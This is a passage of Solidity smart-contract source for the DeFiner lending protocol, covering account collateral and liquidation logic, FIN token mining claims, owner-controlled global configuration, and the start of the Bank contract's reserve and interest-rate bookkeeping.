getDepositBalanceCurrent(token, _borrower); power = power.add(depositBalanceCurrent.mul(price).mul(borrowLTV).div(100).div(divisor)); } } // right shift by 1 // hasCollnDepositBitmap = 0100 // BITWISE RIGHTSHIFT 1 on hasCollnDepositBitmap = 0010 hasCollnDepositBitmap = hasCollnDepositBitmap >> 1; // continue loop and repeat the steps until `hasCollnDepositBitmap == 0` } else { break; } } return power; } function getCollateralETH(address _account) public view returns (uint256 collETH) { TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry(); Account memory account = accounts[_account]; uint128 hasDeposits = account.depositBitmap; for(uint8 i = 0; i < 128; i++) { if(hasDeposits > 0) { bool isEnabled = (hasDeposits & uint128(1)) > 0; if(isEnabled) { (address token, uint256 divisor, uint256 price, uint256 borrowLTV) = tokenRegistry.getTokenInfoFromIndex(i); if(borrowLTV != 0) { uint256 depositBalanceCurrent = getDepositBalanceCurrent(token, _account); collETH = collETH.add(depositBalanceCurrent.mul(price).div(divisor)); } } hasDeposits = hasDeposits >> 1; } else { break; } } return collETH; } /** * Get current deposit balance of a token * @dev This is an estimation. Add a new checkpoint first, if you want to derive the exact balance. */ function getDepositETH( address _accountAddr ) public view returns (uint256 depositETH) { TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry(); Account memory account = accounts[_accountAddr]; uint128 hasDeposits = account.depositBitmap; for(uint8 i = 0; i < 128; i++) { if(hasDeposits > 0) { bool isEnabled = (hasDeposits & uint128(1)) > 0; if(isEnabled) { (address token, uint256 divisor, uint256 price, ) = tokenRegistry.getTokenInfoFromIndex(i); uint256 depositBalanceCurrent = getDepositBalanceCurrent(token, _accountAddr); depositETH = depositETH.add(depositBalanceCurrent.mul(price).div(divisor)); } hasDeposits = hasDeposits >> 1; } else { break; } } return depositETH; } /** * Get borrowed balance of a token in the uint256 of Wei */ function getBorrowETH( address _accountAddr ) public view returns (uint256 borrowETH) { TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry(); Account memory account = accounts[_accountAddr]; uint128 hasBorrows = account.borrowBitmap; for(uint8 i = 0; i < 128; i++) { if(hasBorrows > 0) { bool isEnabled = (hasBorrows & uint128(1)) > 0; if(isEnabled) { (address token, uint256 divisor, uint256 price, ) = tokenRegistry.getTokenInfoFromIndex(i); uint256 borrowBalanceCurrent = getBorrowBalanceCurrent(token, _accountAddr); borrowETH = borrowETH.add(borrowBalanceCurrent.mul(price).div(divisor)); } hasBorrows = hasBorrows >> 1; } else { break; } } return borrowETH; } /** * Check if the account is liquidatable * @param _borrower borrower's account * @return true if the account is liquidatable */ function isAccountLiquidatable(address _borrower) public returns (bool) { TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry(); Bank bank = globalConfig.bank(); // Add new rate check points for all the collateral tokens from borrower in order to // have accurate calculation of liquidation oppotunites. Account memory account = accounts[_borrower]; uint128 hasBorrowsOrDeposits = account.borrowBitmap | account.depositBitmap; for(uint8 i = 0; i < 128; i++) { if(hasBorrowsOrDeposits > 0) { bool isEnabled = (hasBorrowsOrDeposits & uint128(1)) > 0; if(isEnabled) { address token = tokenRegistry.addressFromIndex(i); bank.newRateIndexCheckpoint(token); } hasBorrowsOrDeposits = hasBorrowsOrDeposits >> 1; } else { break; } } uint256 liquidationThreshold = globalConfig.liquidationThreshold(); uint256 totalBorrow = getBorrowETH(_borrower); uint256 totalCollateral = getCollateralETH(_borrower); // It is required that LTV is larger than LIQUIDATE_THREADHOLD for liquidation // return totalBorrow.mul(100) > totalCollateral.mul(liquidationThreshold); return totalBorrow.mul(100) > totalCollateral.mul(liquidationThreshold); } struct LiquidationVars { uint256 borrowerCollateralValue; uint256 targetTokenBalance; uint256 targetTokenBalanceBorrowed; uint256 targetTokenPrice; uint256 liquidationDiscountRatio; uint256 totalBorrow; uint256 borrowPower; uint256 liquidateTokenBalance; uint256 liquidateTokenPrice; uint256 limitRepaymentValue; uint256 borrowTokenLTV; uint256 repayAmount; uint256 payAmount; } function liquidate( address _liquidator, address _borrower, address _borrowedToken, address _collateralToken ) external onlyAuthorized returns ( uint256, uint256 ) { initCollateralFlag(_liquidator); initCollateralFlag(_borrower); require(isAccountLiquidatable(_borrower), "borrower is not liquidatable"); // It is required that the liquidator doesn't exceed it's borrow power. // if liquidator has any borrows, then only check for borrowPower condition Account memory liquidateAcc = accounts[_liquidator]; if(liquidateAcc.borrowBitmap > 0) { require( getBorrowETH(_liquidator) < getBorrowPower(_liquidator), "No extra funds used for liquidation" ); } LiquidationVars memory vars; TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry(); // _borrowedToken balance of the liquidator (deposit balance) vars.targetTokenBalance = getDepositBalanceCurrent(_borrowedToken, _liquidator); require(vars.targetTokenBalance > 0, "amount must be > 0"); // _borrowedToken balance of the borrower (borrow balance) vars.targetTokenBalanceBorrowed = getBorrowBalanceCurrent(_borrowedToken, _borrower); require(vars.targetTokenBalanceBorrowed > 0, "borrower not own any debt token"); // _borrowedToken available for liquidation uint256 borrowedTokenAmountForLiquidation = vars.targetTokenBalance.min(vars.targetTokenBalanceBorrowed); // _collateralToken balance of the borrower (deposit balance) vars.liquidateTokenBalance = getDepositBalanceCurrent(_collateralToken, _borrower); uint256 targetTokenDivisor; ( , targetTokenDivisor, vars.targetTokenPrice, vars.borrowTokenLTV ) = tokenRegistry.getTokenInfoFromAddress(_borrowedToken); uint256 liquidateTokendivisor; uint256 collateralLTV; ( , liquidateTokendivisor, vars.liquidateTokenPrice, collateralLTV ) = tokenRegistry.getTokenInfoFromAddress(_collateralToken); // _collateralToken to purchase so that borrower's balance matches its borrow power vars.totalBorrow = getBorrowETH(_borrower); vars.borrowPower = getBorrowPower(_borrower); vars.liquidationDiscountRatio = globalConfig.liquidationDiscountRatio(); vars.limitRepaymentValue = vars.totalBorrow.sub(vars.borrowPower) .mul(100) .div(vars.liquidationDiscountRatio.sub(collateralLTV)); uint256 collateralTokenValueForLiquidation = vars.limitRepaymentValue.min( vars.liquidateTokenBalance .mul(vars.liquidateTokenPrice) .div(liquidateTokendivisor) ); uint256 liquidationValue = collateralTokenValueForLiquidation.min( borrowedTokenAmountForLiquidation .mul(vars.targetTokenPrice) .mul(100) .div(targetTokenDivisor) .div(vars.liquidationDiscountRatio) ); vars.repayAmount = liquidationValue.mul(vars.liquidationDiscountRatio) .mul(targetTokenDivisor) .div(100) .div(vars.targetTokenPrice); vars.payAmount = vars.repayAmount.mul(liquidateTokendivisor) .mul(100) .mul(vars.targetTokenPrice); vars.payAmount = vars.payAmount.div(targetTokenDivisor) .div(vars.liquidationDiscountRatio) .div(vars.liquidateTokenPrice); deposit(_liquidator, _collateralToken, vars.payAmount); withdraw_liquidate(_liquidator, _borrowedToken, vars.repayAmount); withdraw_liquidate(_borrower, _collateralToken, vars.payAmount); repay(_borrower, _borrowedToken, vars.repayAmount); return (vars.repayAmount, vars.payAmount); } /** * Get current block number * @return the current block number */ function getBlockNumber() private view returns (uint256) { return block.number; } /** * An account claim all mined FIN token. * @dev If the FIN mining index point doesn't exist, we have to calculate the FIN amount * accurately. So the user can withdraw all available FIN tokens. */ function claim(address _account) public onlyAuthorized returns(uint256){ TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry(); Bank bank = globalConfig.bank(); uint256 currentBlock = getBlockNumber(); Account memory account = accounts[_account]; uint128 depositBitmap = account.depositBitmap; uint128 borrowBitmap = account.borrowBitmap; uint128 hasDepositOrBorrow = depositBitmap | borrowBitmap; for(uint8 i = 0; i < 128; i++) { if(hasDepositOrBorrow > 0) { if((hasDepositOrBorrow & uint128(1)) > 0) { address token = tokenRegistry.addressFromIndex(i); AccountTokenLib.TokenInfo storage tokenInfo = accounts[_account].tokenInfos[token]; bank.updateMining(token); if (depositBitmap.isBitSet(i)) { bank.updateDepositFINIndex(token); uint256 lastDepositBlock = tokenInfo.getLastDepositBlock(); calculateDepositFIN(lastDepositBlock, token, _account, currentBlock); tokenInfo.deposit(0, bank.getDepositAccruedRate(token, lastDepositBlock), currentBlock); } if (borrowBitmap.isBitSet(i)) { bank.updateBorrowFINIndex(token); uint256 lastBorrowBlock = tokenInfo.getLastBorrowBlock(); calculateBorrowFIN(lastBorrowBlock, token, _account, currentBlock); tokenInfo.borrow(0, bank.getBorrowAccruedRate(token, lastBorrowBlock), currentBlock); } } hasDepositOrBorrow = hasDepositOrBorrow >> 1; } else { break; } } uint256 _FINAmount = FINAmount[_account]; FINAmount[_account] = 0; return _FINAmount; } function claimForToken(address _account, address _token) public onlyAuthorized returns(uint256) { Account memory account = accounts[_account]; uint8 index = globalConfig.tokenInfoRegistry().getTokenIndex(_token); bool isDeposit = account.depositBitmap.isBitSet(index); bool isBorrow = account.borrowBitmap.isBitSet(index); if(! (isDeposit || isBorrow)) return 0; Bank bank = globalConfig.bank(); uint256 currentBlock = getBlockNumber(); AccountTokenLib.TokenInfo storage tokenInfo = accounts[_account].tokenInfos[_token]; bank.updateMining(_token); if (isDeposit) { bank.updateDepositFINIndex(_token); uint256 lastDepositBlock = tokenInfo.getLastDepositBlock(); calculateDepositFIN(lastDepositBlock, _token, _account, currentBlock); tokenInfo.deposit(0, bank.getDepositAccruedRate(_token, lastDepositBlock), currentBlock); } if (isBorrow) { bank.updateBorrowFINIndex(_token); uint256 lastBorrowBlock = tokenInfo.getLastBorrowBlock(); calculateBorrowFIN(lastBorrowBlock, _token, _account, currentBlock); tokenInfo.borrow(0, bank.getBorrowAccruedRate(_token, lastBorrowBlock), currentBlock); } uint256 _FINAmount = FINAmount[_account]; FINAmount[_account] = 0; return _FINAmount; } /** * Accumulate the amount FIN mined by depositing between _lastBlock and _currentBlock */ function calculateDepositFIN(uint256 _lastBlock, address _token, address _accountAddr, uint256 _currentBlock) internal { Bank bank = globalConfig.bank(); uint256 indexDifference = bank.depositFINRateIndex(_token, _currentBlock) .sub(bank.depositFINRateIndex(_token, _lastBlock)); uint256 getFIN = getDepositBalanceCurrent(_token, _accountAddr) .mul(indexDifference) .div(bank.depositeRateIndex(_token, _currentBlock)); FINAmount[_accountAddr] = FINAmount[_accountAddr].add(getFIN); } /** * Accumulate the amount FIN mined by borrowing between _lastBlock and _currentBlock */ function calculateBorrowFIN(uint256 _lastBlock, address _token, address _accountAddr, uint256 _currentBlock) internal { Bank bank = globalConfig.bank(); uint256 indexDifference = bank.borrowFINRateIndex(_token, _currentBlock) .sub(bank.borrowFINRateIndex(_token, _lastBlock)); uint256 getFIN = getBorrowBalanceCurrent(_token, _accountAddr) .mul(indexDifference) .div(bank.borrowRateIndex(_token, _currentBlock)); FINAmount[_accountAddr] = FINAmount[_accountAddr].add(getFIN); } function version() public pure returns(string memory) { return "v1.2.0"; } } contract GlobalConfig is Ownable { using SafeMath for uint256; uint256 public communityFundRatio = 20; uint256 public minReserveRatio = 10; uint256 public maxReserveRatio = 20; uint256 public liquidationThreshold = 85; uint256 public liquidationDiscountRatio = 95; uint256 public compoundSupplyRateWeights = 1; uint256 public compoundBorrowRateWeights = 9; uint256 public rateCurveSlope = 0; uint256 public rateCurveConstant = 4 * 10 ** 16; uint256 public deFinerRate = 25; address payable public deFinerCommunityFund = 0xC0fd76eDcb8893a83c293ed06a362b1c18a584C7; Bank public bank; // the Bank contract SavingAccount public savingAccount; // the SavingAccount contract TokenRegistry public tokenInfoRegistry; // the TokenRegistry contract Accounts public accounts; // the Accounts contract Constant public constants; // the constants contract event CommunityFundRatioUpdated(uint256 indexed communityFundRatio); event MinReserveRatioUpdated(uint256 indexed minReserveRatio); event MaxReserveRatioUpdated(uint256 indexed maxReserveRatio); event LiquidationThresholdUpdated(uint256 indexed liquidationThreshold); event LiquidationDiscountRatioUpdated(uint256 indexed liquidationDiscountRatio); event CompoundSupplyRateWeightsUpdated(uint256 indexed compoundSupplyRateWeights); event CompoundBorrowRateWeightsUpdated(uint256 indexed compoundBorrowRateWeights); event rateCurveSlopeUpdated(uint256 indexed rateCurveSlope); event rateCurveConstantUpdated(uint256 indexed rateCurveConstant); event ConstantUpdated(address indexed constants); event BankUpdated(address indexed bank); event SavingAccountUpdated(address indexed savingAccount); event TokenInfoRegistryUpdated(address indexed tokenInfoRegistry); event AccountsUpdated(address indexed accounts); event DeFinerCommunityFundUpdated(address indexed deFinerCommunityFund); event DeFinerRateUpdated(uint256 indexed deFinerRate); event ChainLinkUpdated(address indexed chainLink); function initialize( Bank _bank, SavingAccount _savingAccount, TokenRegistry _tokenInfoRegistry, Accounts _accounts, Constant _constants ) public onlyOwner { bank = _bank; savingAccount = _savingAccount; tokenInfoRegistry = _tokenInfoRegistry; accounts = _accounts; constants = _constants; } /** * Update the community fund (commision fee) ratio. * @param _communityFundRatio the new ratio */ function updateCommunityFundRatio(uint256 _communityFundRatio) external onlyOwner { if (_communityFundRatio == communityFundRatio) return; require(_communityFundRatio > 0 && _communityFundRatio < 100, "Invalid community fund ratio."); communityFundRatio = _communityFundRatio; emit CommunityFundRatioUpdated(_communityFundRatio); } /** * Update the minimum reservation reatio * @param _minReserveRatio the new value of the minimum reservation ratio */ function updateMinReserveRatio(uint256 _minReserveRatio) external onlyOwner { if (_minReserveRatio == minReserveRatio) return; require(_minReserveRatio > 0 && _minReserveRatio < maxReserveRatio, "Invalid min reserve ratio."); minReserveRatio = _minReserveRatio; emit MinReserveRatioUpdated(_minReserveRatio); } /** * Update the maximum reservation reatio * @param _maxReserveRatio the new value of the maximum reservation ratio */ function updateMaxReserveRatio(uint256 _maxReserveRatio) external onlyOwner { if (_maxReserveRatio == maxReserveRatio) return; require(_maxReserveRatio > minReserveRatio && _maxReserveRatio < 100, "Invalid max reserve ratio."); maxReserveRatio = _maxReserveRatio; emit MaxReserveRatioUpdated(_maxReserveRatio); } /** * Update the liquidation threshold, i.e. the LTV that will trigger the liquidation. * @param _liquidationThreshold the new threshhold value */ function updateLiquidationThreshold(uint256 _liquidationThreshold) external onlyOwner { if (_liquidationThreshold == liquidationThreshold) return; require(_liquidationThreshold > 0 && _liquidationThreshold < liquidationDiscountRatio, "Invalid liquidation threshold."); liquidationThreshold = _liquidationThreshold; emit LiquidationThresholdUpdated(_liquidationThreshold); } /** * Update the liquidation discount * @param _liquidationDiscountRatio the new liquidation discount */ function updateLiquidationDiscountRatio(uint256 _liquidationDiscountRatio) external onlyOwner { if (_liquidationDiscountRatio == liquidationDiscountRatio) return; require(_liquidationDiscountRatio > liquidationThreshold && _liquidationDiscountRatio < 100, "Invalid liquidation discount ratio."); liquidationDiscountRatio = _liquidationDiscountRatio; emit LiquidationDiscountRatioUpdated(_liquidationDiscountRatio); } /** * Medium value of the reservation ratio, which is the value that the pool try to maintain. */ function midReserveRatio() public view returns(uint256){ return minReserveRatio.add(maxReserveRatio).div(2); } function updateCompoundSupplyRateWeights(uint256 _compoundSupplyRateWeights) external onlyOwner{ compoundSupplyRateWeights = _compoundSupplyRateWeights; emit CompoundSupplyRateWeightsUpdated(_compoundSupplyRateWeights); } function updateCompoundBorrowRateWeights(uint256 _compoundBorrowRateWeights) external onlyOwner{ compoundBorrowRateWeights = _compoundBorrowRateWeights; emit CompoundBorrowRateWeightsUpdated(_compoundBorrowRateWeights); } function updaterateCurveSlope(uint256 _rateCurveSlope) external onlyOwner{ rateCurveSlope = _rateCurveSlope; emit rateCurveSlopeUpdated(_rateCurveSlope); } function updaterateCurveConstant(uint256 _rateCurveConstant) external onlyOwner{ rateCurveConstant = _rateCurveConstant; emit rateCurveConstantUpdated(_rateCurveConstant); } function updateBank(Bank _bank) external onlyOwner{ bank = _bank; emit BankUpdated(address(_bank)); } function updateSavingAccount(SavingAccount _savingAccount) external onlyOwner{ savingAccount = _savingAccount; emit SavingAccountUpdated(address(_savingAccount)); } function updateTokenInfoRegistry(TokenRegistry _tokenInfoRegistry) external onlyOwner{ tokenInfoRegistry = _tokenInfoRegistry; emit TokenInfoRegistryUpdated(address(_tokenInfoRegistry)); } function updateAccounts(Accounts _accounts) external onlyOwner{ accounts = _accounts; emit AccountsUpdated(address(_accounts)); } function updateConstant(Constant _constants) external onlyOwner{ constants = _constants; emit ConstantUpdated(address(_constants)); } function updatedeFinerCommunityFund(address payable _deFinerCommunityFund) external onlyOwner{ deFinerCommunityFund = _deFinerCommunityFund; emit DeFinerCommunityFundUpdated(_deFinerCommunityFund); } function updatedeFinerRate(uint256 _deFinerRate) external onlyOwner{ require(_deFinerRate <= 100,"_deFinerRate cannot exceed 100"); deFinerRate = _deFinerRate; emit DeFinerRateUpdated(_deFinerRate); } } interface ICToken { function supplyRatePerBlock() external view returns (uint); function borrowRatePerBlock() external view returns (uint); function mint(uint mintAmount) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function redeem(uint redeemAmount) external returns (uint); function exchangeRateStore() external view returns (uint); function exchangeRateCurrent() external returns (uint); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint); } interface ICETH{ function mint() external payable; } interface IController { function fastForward(uint blocks) external returns (uint); function getBlockNumber() external view returns (uint); } contract Bank is Constant, Initializable{ using SafeMath for uint256; mapping(address => uint256) public totalLoans; // amount of lended tokens mapping(address => uint256) public totalReserve; // amount of tokens in reservation mapping(address => uint256) public totalCompound; // amount of tokens in compound // Token => block-num => rate mapping(address => mapping(uint => uint)) public depositeRateIndex; // the index curve of deposit rate // Token => block-num => rate mapping(address => mapping(uint => uint)) public borrowRateIndex; // the index curve of borrow rate // token address => block number mapping(address => uint) public lastCheckpoint; // last checkpoint on the index curve // cToken address => rate mapping(address => uint) public lastCTokenExchangeRate; // last compound cToken exchange rate mapping(address => ThirdPartyPool) compoundPool; // the compound pool GlobalConfig globalConfig; // global configuration contract address mapping(address => mapping(uint => uint)) public depositFINRateIndex; mapping(address => mapping(uint => uint)) public borrowFINRateIndex; mapping(address => uint) public lastDepositFINRateCheckpoint; mapping(address => uint) public lastBorrowFINRateCheckpoint; modifier onlyAuthorized() { require(msg.sender == address(globalConfig.savingAccount()) || msg.sender == address(globalConfig.accounts()), "Only authorized to call from DeFiner internal contracts."); _; } struct ThirdPartyPool { bool supported; // if the token is supported by the third party platforms such as Compound uint capitalRatio; // the ratio of the capital in third party to the total asset uint depositRatePerBlock; // the deposit rate of the token in third party uint borrowRatePerBlock; // the borrow rate of the token in third party } event UpdateIndex(address indexed token, uint256 depositeRateIndex, uint256 borrowRateIndex); event UpdateDepositFINIndex(address indexed _token, uint256 depositFINRateIndex); event UpdateBorrowFINIndex(address indexed _token, uint256 borrowFINRateIndex); /** * Initialize the Bank * @param _globalConfig the global configuration contract */ function initialize( GlobalConfig _globalConfig ) public initializer { globalConfig = _globalConfig; } /** * Total amount of the token in Saving account * @param _token token address */ function getTotalDepositStore(address _token) public view returns(uint) { address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); // totalLoans[_token] = U totalReserve[_token] = R return totalCompound[cToken].add(totalLoans[_token]).add(totalReserve[_token]); // return totalAmount = C + U + R } /** * Update total amount of token in Compound as the cToken price changed * @param _token token address */ function updateTotalCompound(address _token) internal { address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); if(cToken != address(0)) { totalCompound[cToken] = ICToken(cToken).balanceOfUnderlying(address(globalConfig.savingAccount())); } } /** * Update the total reservation. Before run this function, make sure that totalCompound has been updated * by calling updateTotalCompound. Otherwise, totalCompound may not equal to the exact amount of the * token in Compound. * @param _token token address * @param _action indicate if user's operation is deposit or withdraw, and borrow or repay. * @return the actuall amount deposit/withdraw from the saving pool */ function updateTotalReserve(address _token, uint _amount, ActionType _action) internal returns(uint256 compoundAmount){ address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); uint totalAmount = getTotalDepositStore(_token); if (_action == ActionType.DepositAction || _action == ActionType.RepayAction) { // Total amount of token after deposit or repay if (_action == ActionType.DepositAction) totalAmount = totalAmount.add(_amount); else totalLoans[_token] = totalLoans[_token].sub(_amount); // Expected total amount of token in reservation after deposit or repay uint totalReserveBeforeAdjust = totalReserve[_token].add(_amount); if (cToken != address(0) && totalReserveBeforeAdjust > totalAmount.mul(globalConfig.maxReserveRatio()).div(100)) { uint toCompoundAmount = totalReserveBeforeAdjust.sub(totalAmount.mul(globalConfig.midReserveRatio()).div(100)); //toCompound(_token, toCompoundAmount); compoundAmount = toCompoundAmount; totalCompound[cToken] = totalCompound[cToken].add(toCompoundAmount); totalReserve[_token] = totalReserve[_token].add(_amount).sub(toCompoundAmount); } else { totalReserve[_token] = totalReserve[_token].add(_amount); } } else { // The lack of liquidity exception happens when the pool doesn't have enough tokens for borrow/withdraw // It happens when part of the token has lended to the other accounts. // However in case of withdrawAll, even if the token has no loan, this requirment may still false because // of the precision loss in the rate calcuation. So we put a logic here to deal with this case: in case // of withdrawAll and there is no loans for the token, we just adjust the balance in bank contract to the // to the balance of that individual account. if(_action == ActionType.WithdrawAction) { if(totalLoans[_token] != 0) require(getPoolAmount(_token) >= _amount, "Lack of liquidity when withdraw."); else if (getPoolAmount(_token) < _amount) totalReserve[_token] = _amount.sub(totalCompound[cToken]); totalAmount = getTotalDepositStore(_token); } else require(getPoolAmount(_token) >= _amount, "Lack of liquidity when borrow."); // Total amount of token after withdraw or borrow if (_action == ActionType.WithdrawAction) totalAmount = totalAmount.sub(_amount); else totalLoans[_token] = totalLoans[_token].add(_amount); // Expected total amount of token in reservation after deposit or repay uint totalReserveBeforeAdjust = totalReserve[_token] > _amount ? totalReserve[_token].sub(_amount) : 0; // Trigger fromCompound if the new reservation ratio is less than 10% if(cToken != address(0) && (totalAmount == 0 || totalReserveBeforeAdjust < totalAmount.mul(globalConfig.minReserveRatio()).div(100))) { uint totalAvailable = totalReserve[_token].add(totalCompound[cToken]).sub(_amount); if (totalAvailable < totalAmount.mul(globalConfig.midReserveRatio()).div(100)){ // Withdraw all the tokens from Compound compoundAmount = totalCompound[cToken]; totalCompound[cToken] = 0; totalReserve[_token] = totalAvailable; } else { // Withdraw partial tokens from Compound uint totalInCompound = totalAvailable.sub(totalAmount.mul(globalConfig.midReserveRatio()).div(100)); compoundAmount = totalCompound[cToken].sub(totalInCompound); totalCompound[cToken] = totalInCompound; totalReserve[_token] = totalAvailable.sub(totalInCompound); } } else { totalReserve[_token] = totalReserve[_token].sub(_amount); } } return compoundAmount; } function update(address _token, uint _amount, ActionType _action) public onlyAuthorized returns(uint256 compoundAmount) { updateTotalCompound(_token); // updateTotalLoan(_token); compoundAmount = updateTotalReserve(_token, _amount, _action); return compoundAmount; } /** * The function is called in Bank.deposit(), Bank.withdraw() and Accounts.claim() functions. * The function should be called AFTER the newRateIndexCheckpoint function so that the account balances are * accurate, and BEFORE the account balance acutally updated due to deposit/withdraw activities. */ function updateDepositFINIndex(address _token) public onlyAuthorized{ uint currentBlock = getBlockNumber(); uint deltaBlock; // If it is the first deposit FIN rate checkpoint, set the deltaBlock value be 0 so that the first // point on depositFINRateIndex is zero. deltaBlock = lastDepositFINRateCheckpoint[_token] == 0 ? 0 : currentBlock.sub(lastDepositFINRateCheckpoint[_token]); // If the totalDeposit of the token is zero, no FIN token should be mined and the FINRateIndex is unchanged. depositFINRateIndex[_token][currentBlock] = depositFINRateIndex[_token][lastDepositFINRateCheckpoint[_token]].add( getTotalDepositStore(_token) == 0 ? 0 : depositeRateIndex[_token][lastCheckpoint[_token]] .mul(deltaBlock) .mul(globalConfig.tokenInfoRegistry().depositeMiningSpeeds(_token)) .div(getTotalDepositStore(_token))); lastDepositFINRateCheckpoint[_token] = currentBlock; emit UpdateDepositFINIndex(_token, depositFINRateIndex[_token][currentBlock]); } function updateBorrowFINIndex(address _token) public onlyAuthorized{ uint currentBlock = getBlockNumber(); uint deltaBlock; // If it is the first borrow FIN rate checkpoint, set the deltaBlock value be 0 so that the first // point on borrowFINRateIndex is zero. deltaBlock = lastBorrowFINRateCheckpoint[_token] == 0 ? 0 : currentBlock.sub(lastBorrowFINRateCheckpoint[_token]); // If the totalBorrow of the token is zero, no FIN token should be mined and the FINRateIndex is unchanged. borrowFINRateIndex[_token][currentBlock] = borrowFINRateIndex[_token][lastBorrowFINRateCheckpoint[_token]].add( totalLoans[_token] == 0 ? 0 : borrowRateIndex[_token][lastCheckpoint[_token]] .mul(deltaBlock) .mul(globalConfig.tokenInfoRegistry().borrowMiningSpeeds(_token)) .div(totalLoans[_token])); lastBorrowFINRateCheckpoint[_token] = currentBlock; emit UpdateBorrowFINIndex(_token, borrowFINRateIndex[_token][currentBlock]); } function updateMining(address _token) public onlyAuthorized{ newRateIndexCheckpoint(_token); updateTotalCompound(_token); } /** * Get the borrowing interest rate. * @param _token token address * @return the borrow rate for the current block */ function getBorrowRatePerBlock(address _token) public view returns(uint) { uint256 capitalUtilizationRatio = getCapitalUtilizationRatio(_token); // rateCurveConstant = <'3 * (10)^16'_rateCurveConstant_configurable> uint256 rateCurveConstant = globalConfig.rateCurveConstant(); // compoundSupply = Compound Supply Rate * <'0.4'_supplyRateWeights_configurable> uint256 compoundSupply = compoundPool[_token].depositRatePerBlock.mul(globalConfig.compoundSupplyRateWeights()); // compoundBorrow = Compound Borrow Rate * <'0.6'_borrowRateWeights_configurable> uint256 compoundBorrow = compoundPool[_token].borrowRatePerBlock.mul(globalConfig.compoundBorrowRateWeights()); // nonUtilizedCapRatio = (1 - U) // Non utilized capital ratio uint256 nonUtilizedCapRatio = INT_UNIT.sub(capitalUtilizationRatio); bool isSupportedOnCompound = globalConfig.tokenInfoRegistry().isSupportedOnCompound(_token); if(isSupportedOnCompound) { uint256 compoundSupplyPlusBorrow = compoundSupply.add(compoundBorrow).div(10); uint256 rateConstant; // if the token is supported in third party (like Compound), check if U = 1 if(capitalUtilizationRatio > ((10**18) - (10**15))) { // > 0.999 // if U = 1, borrowing rate = compoundSupply + compoundBorrow + ((rateCurveConstant * 100) / BLOCKS_PER_YEAR) rateConstant = rateCurveConstant.mul(1000).div(BLOCKS_PER_YEAR); return compoundSupplyPlusBorrow.add(rateConstant); } else { // if U != 1, borrowing rate = compoundSupply + compoundBorrow + ((rateCurveConstant / (1 - U)) / BLOCKS_PER_YEAR) rateConstant = rateCurveConstant.mul(10**18).div(nonUtilizedCapRatio).div(BLOCKS_PER_YEAR); return compoundSupplyPlusBorrow.add(rateConstant); } } else { // If the token is NOT supported by the third party, check if U = 1 if(capitalUtilizationRatio > ((10**18) - (10**15))) { // > 0.999 // if U = 1, borrowing rate = rateCurveConstant * 100 return rateCurveConstant.mul(1000).div(BLOCKS_PER_YEAR); } else { // if 0 < U < 1, borrowing rate = 3% / (1 - U) return rateCurveConstant.mul(10**18).div(nonUtilizedCapRatio).div(BLOCKS_PER_YEAR); } } } /** * Get Deposit Rate. Deposit APR = (Borrow APR * Utilization Rate (U) + Compound Supply Rate * * Capital Compound Ratio (C) )* (1- DeFiner Community Fund Ratio (D)). The scaling is 10 ** 18 * @param _token token address * @return deposite rate of blocks before the current block */ function getDepositRatePerBlock(address _token) public view returns(uint) { uint256 borrowRatePerBlock = getBorrowRatePerBlock(_token); uint256 capitalUtilRatio = getCapitalUtilizationRatio(_token); if(!globalConfig.tokenInfoRegistry().isSupportedOnCompound(_token)) return borrowRatePerBlock.mul(capitalUtilRatio).div(INT_UNIT); return borrowRatePerBlock.mul(capitalUtilRatio).add(compoundPool[_token].depositRatePerBlock .mul(compoundPool[_token].capitalRatio)).div(INT_UNIT); } /** * Get capital utilization. Capital Utilization Rate (U )= total loan outstanding / Total market deposit * @param _token token address * @return Capital utilization ratio `U`. * Valid range: 0 ≀ U ≀ 10^18 */ function getCapitalUtilizationRatio(address _token) public view returns(uint) { uint256 totalDepositsNow = getTotalDepositStore(_token); if(totalDepositsNow == 0) { return 0; } else { return totalLoans[_token].mul(INT_UNIT).div(totalDepositsNow); } } /** * Ratio of the capital in Compound * @param _token token address */ function getCapitalCompoundRatio(address _token) public view returns(uint) { address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); if(totalCompound[cToken] == 0 ) { return 0; } else { return uint(totalCompound[cToken].mul(INT_UNIT).div(getTotalDepositStore(_token))); } } /** * It's a utility function. Get the cummulative deposit rate in a block interval ending in current block * @param _token token address * @param _depositRateRecordStart the start block of the interval * @dev This function should always be called after current block is set as a new rateIndex point. */ function getDepositAccruedRate(address _token, uint _depositRateRecordStart) external view returns (uint256) { uint256 depositRate = depositeRateIndex[_token][_depositRateRecordStart]; require(depositRate != 0, "_depositRateRecordStart is not a check point on index curve."); return depositeRateIndexNow(_token).mul(INT_UNIT).div(depositRate); } /** * Get the cummulative borrow rate in a block interval ending in current block * @param _token token address * @param _borrowRateRecordStart the start block of the interval * @dev This function should always be called after current block is set as a new rateIndex point. */ function getBorrowAccruedRate(address _token, uint _borrowRateRecordStart) external view returns (uint256) { uint256 borrowRate = borrowRateIndex[_token][_borrowRateRecordStart]; require(borrowRate != 0, "_borrowRateRecordStart is not a check point on index curve."); return borrowRateIndexNow(_token).mul(INT_UNIT).div(borrowRate); } /** * Set a new rate index checkpoint. * @param _token token address * @dev The rate set at the checkpoint is the rate from the last checkpoint to this checkpoint */ function newRateIndexCheckpoint(address _token) public onlyAuthorized { // return if the rate check point already exists uint blockNumber = getBlockNumber(); if (blockNumber == lastCheckpoint[_token]) return; uint256 UNIT = INT_UNIT; address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); // If it is the first check point, initialize the rate index uint256 previousCheckpoint = lastCheckpoint[_token]; if (lastCheckpoint[_token] == 0) { if(cToken == address(0)) { compoundPool[_token].supported = false; borrowRateIndex[_token][blockNumber] = UNIT; depositeRateIndex[_token][blockNumber] = UNIT; // Update the last checkpoint lastCheckpoint[_token] = blockNumber; } else { compoundPool[_token].supported = true; uint cTokenExchangeRate = ICToken(cToken).exchangeRateCurrent(); // Get the curretn cToken exchange rate in Compound, which is need to calculate DeFiner's rate compoundPool[_token].capitalRatio = 